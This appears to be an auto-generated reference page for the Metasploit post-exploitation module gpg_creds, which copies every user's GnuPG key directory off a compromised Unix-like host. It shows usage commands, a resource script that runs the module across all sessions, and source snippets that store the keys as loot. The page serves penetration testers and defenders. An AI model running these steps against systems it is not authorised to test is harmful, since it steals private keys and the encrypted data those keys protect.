Multi Gather GnuPG Credentials Collection - Metasploit


This page contains detailed information about how to use the post/multi/gather/gpg_creds metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Multi Gather GnuPG Credentials Collection
Module: post/multi/gather/gpg_creds
Source code: modules/post/multi/gather/gpg_creds.rb
Disclosure date: -
Last modification time: 2019-12-05 08:46:56 +0000
Supported architecture(s): -
Supported platform(s): BSD, Linux, OSX, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will collect the contents of all users' .gnupg directories on the targeted machine. Password protected secret keyrings can be cracked with John the Ripper (JtR).

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/multi/gather/gpg_creds

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/multi/gather/gpg_creds
msf post(gpg_creds) > show options
    ... show and set options ...
msf post(gpg_creds) > set SESSION session-id
msf post(gpg_creds) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/multi/gather/gpg_creds")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the multi/gather/gpg_creds post exploitation module looks in the msfconsole:

msf6 > use post/multi/gather/gpg_creds

msf6 post(multi/gather/gpg_creds) > show info

       Name: Multi Gather GnuPG Credentials Collection
     Module: post/multi/gather/gpg_creds
   Platform: BSD, Linux, OSX, Unix
       Arch: 
       Rank: Normal

Provided by:
  Dhiru Kholia <[email protected]>
  Henry Hoggard

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module will collect the contents of all users' .gnupg 
  directories on the targeted machine. Password protected secret 
  keyrings can be cracked with John the Ripper (JtR).

Module Options

This is a complete list of options available in the multi/gather/gpg_creds post exploitation module:

msf6 post(multi/gather/gpg_creds) > show options

Module options (post/multi/gather/gpg_creds):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the multi/gather/gpg_creds post exploitation module:

msf6 post(multi/gather/gpg_creds) > show advanced

Module advanced options (post/multi/gather/gpg_creds):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the multi/gather/gpg_creds module can do:

msf6 post(multi/gather/gpg_creds) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the multi/gather/gpg_creds post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(multi/gather/gpg_creds) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No users found with a GnuPG directory

Here is a relevant code snippet related to the "No users found with a GnuPG directory" error message:

42:	        paths << "#{gnupg_dir}/#{sub_dir}" if directory?("#{gnupg_dir}/#{sub_dir}")
43:	      end
44:	    end
45:	
46:	    if paths.nil? || paths.empty?
47:	      print_error('No users found with a GnuPG directory')
48:	      return
49:	    end
50:	
51:	    download_loot(paths)
52:	  end

No data found for <FILE>

Here is a relevant code snippet related to the "No data found for <FILE>" error message:

66:	        print_status("Downloading #{target} -> #{file}")
67:	        data = read_file(target)
68:	        file = file.split(sep).last
69:	        type = file.gsub(/\.gpg.*/, "").gsub(/gpg\./, "")
70:	        if data.to_s.empty?
71:	          vprint_error("No data found for #{file}")
72:	        else
73:	          loot_path = store_loot("gpg.#{type}", "text/plain", session, data,
74:	            "gpg_#{file}", "GnuPG #{file} File")
75:	          print_good("File stored in: #{loot_path.to_s}")
76:	        end

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See Also

Check also the following modules related to this module:

Authors

  • Dhiru Kholia <dhiru[at]openwall.com>
  • Henry Hoggard

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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